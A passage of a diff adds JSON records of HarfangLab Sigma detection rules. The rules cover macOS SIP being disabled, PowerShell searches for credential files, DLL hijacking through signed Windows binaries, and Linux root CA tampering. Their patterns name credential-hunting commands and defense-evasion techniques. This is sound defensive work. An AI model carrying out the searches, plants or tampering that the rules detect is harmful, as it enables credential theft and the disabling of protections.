'/usr/bin/csrutil'\n      CommandLine|contains: ' disable'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c63b800c-c4a0-41fa-aaa0-f278bb36b73d",
+  "rule_name": "System Integrity Protection Disabled via csrutil",
+  "rule_description": "Detects the execution of csrutil to disable System Integrity Protection (SIP) on macOS.\nSIP is a security feature of macOS that restricts the root user account and limits the actions that the root user can perform on protected parts of the system.\nDisabling SIP allows an attacker to modify protected parts of the system, such as system binaries, and to install malicious software.\nIt is recommended to check csrutil's execution context to look for suspicious processes.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c69bf5ad-bc75-4b74-a48c-2c8840f0068d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081307Z",
+  "creation_date": "2026-03-23T11:45:34.081309Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081313Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://0xss0rz.gitbook.io/0xss0rz/pentest/privilege-escalation/windows/credentials-hunting",
+    "https://intrusionz3r0.gitbook.io/intrusionz3r0/enumeration/139-445-smb-enumeration",
+    "https://attack.mitre.org/techniques/T1552/001/"
+  ],
+  "name": "t1552_001_powershell_credential_search.yml",
+  "content": "title: Unsecured Credentials Enumerated via PowerShell\nid: c69bf5ad-bc75-4b74-a48c-2c8840f0068d\ndescription: |\n    Detects PowerShell script blocks that may be used to look for unsecured credentials on disk.\n    Attackers may try to enumerate files on disks or shares that contain credentials for further lateral movement.\n    It is recommended to investigate activity surrounding this event and to hunt for any authentications to possibly affected accounts after this alert.\nreferences:\n    - https://0xss0rz.gitbook.io/0xss0rz/pentest/privilege-escalation/windows/credentials-hunting\n    - https://intrusionz3r0.gitbook.io/intrusionz3r0/enumeration/139-445-smb-enumeration\n    - https://attack.mitre.org/techniques/T1552/001/\ndate: 2025/12/31\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.006\n    - attack.t1552.001\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_select_string_generic:\n        ScriptBlockText|contains: 'Select-String'\n\n    selection_select_string_patterns:\n        ScriptBlockText|contains:\n            - '-Pattern cred'\n            - '-Pattern ?cred'\n            - '-Pattern pass'\n            - '-Pattern ?pass'\n\n    selection_direct_select_string_1:\n        ScriptBlockText|contains:\n            - 'Select-String ?cred?'\n            - 'Select-String ?pass?'\n\n    selection_tree_1:\n        ScriptBlockText|contains|all:\n            - 'Get-ChildItem'\n            - '-Include \\*cred\\*'\n\n    selection_tree_2:\n        ScriptBlockText|contains|all:\n            - 'Get-ChildItem'\n            - '-Include \\*pass\\*'\n\n    exclusion_common_words:\n        ScriptBlockText|contains:\n            - 'Select-String ?PasswordComplexity'\n            - 'Select-String -Pattern ?passed'\n            - 'Select-String ?passed'\n            - \"-Pattern Password is cleared\" # Dell BIOS\n\n    exclusion_cyberwatch:\n        ProcessAncestors|contains: '\\CyberwatchAgent\\cyberwatch-agent.exe'\n\n    exclusion_toast_notification:\n        ScriptBlockText|contains: '$Toast = [Windows.UI.Notifications.ToastNotification]::new($SerializedXml)'\n\n    exclusion_defender:\n        ProcessParentImage: '?:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseIR.exe'\n\n    condition: (\n            (selection_select_string_generic and selection_select_string_patterns) or\n            1 of selection_direct_select_string_* or\n            1 of selection_tree_*\n        ) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c69bf5ad-bc75-4b74-a48c-2c8840f0068d",
+  "rule_name": "Unsecured Credentials Enumerated via PowerShell",
+  "rule_description": "Detects PowerShell script blocks that may be used to look for unsecured credentials on disk.\nAttackers may try to enumerate files on disks or shares that contain credentials for further lateral movement.\nIt is recommended to investigate activity surrounding this event and to hunt for any authentications to possibly affected accounts after this alert.\n",
+  "rule_creation_date": "2025-12-31",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1552.001",
+    "attack.t1552.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c6ab5a90-c228-4457-bf00-f332a4806ca0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079129Z",
+  "creation_date": "2026-03-23T11:45:34.079132Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079136Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_provlaunch.yml",
+  "content": "title: DLL Hijacking via provlaunch.exe\nid: c6ab5a90-c228-4457-bf00-f332a4806ca0\ndescription: |\n    Detects potential Windows DLL Hijacking via provlaunch.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'provlaunch'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\msvcp110_win.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c6ab5a90-c228-4457-bf00-f332a4806ca0",
+  "rule_name": "DLL Hijacking via provlaunch.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via provlaunch.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c6ae380a-a730-47c7-8fba-c5056f4a8cd7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590765Z",
+  "creation_date": "2026-03-23T11:45:34.590769Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590776Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_net.yml",
+  "content": "title: DLL Hijacking via net.exe\nid: c6ae380a-a730-47c7-8fba-c5056f4a8cd7\ndescription: |\n    Detects potential Windows DLL Hijacking via net.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'net.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\IPHLPAPI.DLL'\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\wkscli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c6ae380a-a730-47c7-8fba-c5056f4a8cd7",
+  "rule_name": "DLL Hijacking via net.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via net.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c6d53bd7-50c9-4a1a-966d-fecf54bfe22e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097880Z",
+  "creation_date": "2026-03-23T11:45:34.097882Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097886Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_systempropertiesadvanced.yml",
+  "content": "title: DLL Hijacking via systempropertiesadvanced.exe\nid: c6d53bd7-50c9-4a1a-966d-fecf54bfe22e\ndescription: |\n    Detects potential Windows DLL Hijacking via systempropertiesadvanced.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'systempropertiesadvanced.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\credui.dll'\n            - '\\DNSAPI.dll'\n            - '\\DSROLE.DLL'\n            - '\\LOGONCLI.DLL'\n            - '\\netid.dll'\n            - '\\NETUTILS.DLL'\n            - '\\SRVCLI.DLL'\n            - '\\WINBRAND.dll'\n            - '\\WINSTA.dll'\n            - '\\WKSCLI.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c6d53bd7-50c9-4a1a-966d-fecf54bfe22e",
+  "rule_name": "DLL Hijacking via systempropertiesadvanced.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via systempropertiesadvanced.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c6de2835-4ba4-463b-9ed3-eddc36d302c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.500257Z",
+  "creation_date": "2026-03-23T11:45:35.296996Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297000Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1553.004/T1553.004.md",
+    "https://attack.mitre.org/techniques/T1553/004/"
+  ],
+  "name": "t1553_004_root_ca_certificate_tampered_linux.yml",
+  "content": "title: Root Certificate Authority Tampered\nid: c6de2835-4ba4-463b-9ed3-eddc36d302c6\ndescription: |\n    Detects an attempt at tampering the Root CA (Certificate Authority) of the machine.\n    Attackers may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\n    Root certificates are used in public key cryptography to identify a root certificate authority (CA).\n    When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.\n    Certificates are commonly used for establishing secure TLS/SSL communications within a web browser.\n    When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk.\n    Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n    Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system.\n    It is recommended to ensure a system administrator requested the installation of those root certificates and that they haven't been tampered with.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1553.004/T1553.004.md\n    - https://attack.mitre.org/techniques/T1553/004/\ndate: 2023/12/15\nmodified: 2026/03/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.004\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.ImpairDefenses\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.SystemModification\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_write:\n        Kind: 'access'\n        Permissions: 'write'\n        Path|startswith:\n            - '/etc/ca-certificates/'\n            - '/etc/ca-certificates.conf'\n            - '/etc/pki/ca-trust/'  # CentOS/RHEL\n            - '/usr/local/share/ca-certificates/'  # Debian/Ubuntu\n            - '/usr/share/ca-certificates/'  # Debian/Ubuntu\n        ProcessParentImage|contains: '?'\n\n    selection_misc:\n        Kind:\n            - 'symlink'\n            - 'hardlink'\n        Path|startswith:\n            - '/etc/ca-certificates/'\n            - '/etc/ca-certificates.conf'\n            - '/etc/pki/ca-trust/'  # CentOS/RHEL\n            - '/usr/local/share/ca-certificates/'  # Debian/Ubuntu\n            - '/usr/share/ca-certificates/'  # Debian/Ubuntu\n        ProcessParentImage|contains: '?'\n\n    selection_rename:\n        Kind: 'rename'\n        TargetPath|startswith:\n            - '/etc/ca-certificates/'\n            - '/etc/ca-certificates.conf'\n            - '/etc/pki/ca-trust/'  # CentOS/RHEL\n            - '/usr/local/share/ca-certificates/'  # Debian/Ubuntu\n            - '/usr/share/ca-certificates/'  # Debian/Ubuntu\n        ProcessParentImage|contains: '?'\n\n    exclusion_common:\n        ProcessImage:\n            - '/usr/lib/systemd/systemd'\n            - '/usr/bin/pacman'\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n            - '/usr/bin/tar'\n\n    # Package Managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        - ProcessImage:\n            - '/usr/bin/tdnf'\n            - '/usr/bin/dnf5'\n        - ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf-automatic'\n            - '/usr/bin/python* /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf'\n            - '/usr/bin/python* /usr/bin/dnf'\n            - 'dnf update'\n            - 'dnf upgrade'\n            - 'dns install'\n    exclusion_rpm:\n        - ProcessImage: '/usr/bin/rpm'\n        - ProcessParentImage: '/usr/bin/rpm'\n        - ProcessAncestors|contains: '|/usr/bin/rpm|'\n\n    exclusion_update_ca_certificates:\n        - ProcessImage:\n            - '/usr/bin/update-ca-certificates'\n            - '/usr/sbin/update-ca-certificates'\n            - '/usr/bin/update-ca-trust'\n            - '/usr/sbin/update-ca-trust'\n        - ProcessParentCommandLine|contains:\n            - '/usr/bin/update-ca-certificates'\n            - '/usr/sbin/update-ca-certificates'\n            - '/usr/bin/update-ca-trust'\n            - '/usr/sbin/update-ca-trust'\n            - ' /bin/update-ca-trust'\n\n    exclusion_ca_legacy:\n        - ProcessCommandLine|startswith:\n            - '/bin/sh /usr/bin/ca-legacy '\n            - '/usr/bin/sh /usr/bin/ca-legacy '\n        - ProcessParentCommandLine|startswith:\n            - '/bin/sh /usr/bin/ca-legacy '\n            - '/usr/bin/sh /usr/bin/ca-legacy '\n\n    exclusion_snapd:\n        ProcessImage:\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n            - '/usr/bin/containerd-shim-runc-v2'\n            - '/nix/store/*-docker-containerd-*/bin/containerd'\n        - ProcessParentImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n            - '/usr/bin/containerd-shim-runc-v2'\n        - ProcessGrandparentImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/local/bin/dockerd'\n            - '/usr/local/bin/docker-init'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd'\n            - '/var/lib/rancher/k3s/data/*/bin/containerd'\n            - '/var/lib/rancher/rke2/data/*/bin/containerd'\n            - '/snap/docker/*/bin/dockerd'\n            - '/snap/microk8s/*/bin/containerd'\n            - '/usr/bin/dockerd-ce'\n            - '/usr/bin/containerd-shim-runc-v2'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/dockerd|'\n            - '|/usr/sbin/dockerd|'\n            - '|/usr/local/bin/dockerd|'\n            - '|/usr/local/bin/docker-init|'\n            - '|/usr/bin/dockerd-current|'\n            - '|/usr/sbin/dockerd-current|'\n            - '|/usr/bin/containerd|'\n            - '|/usr/local/bin/containerd|'\n            - '|/var/lib/rancher/k3s/data/*/bin/containerd|'\n            - '|/var/lib/rancher/rke2/data/*/bin/containerd|'\n            - '|/snap/docker/*/bin/dockerd|'\n            - '|/snap/microk8s/*/bin/containerd|'\n            - '|/usr/bin/dockerd-ce|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_trust:\n        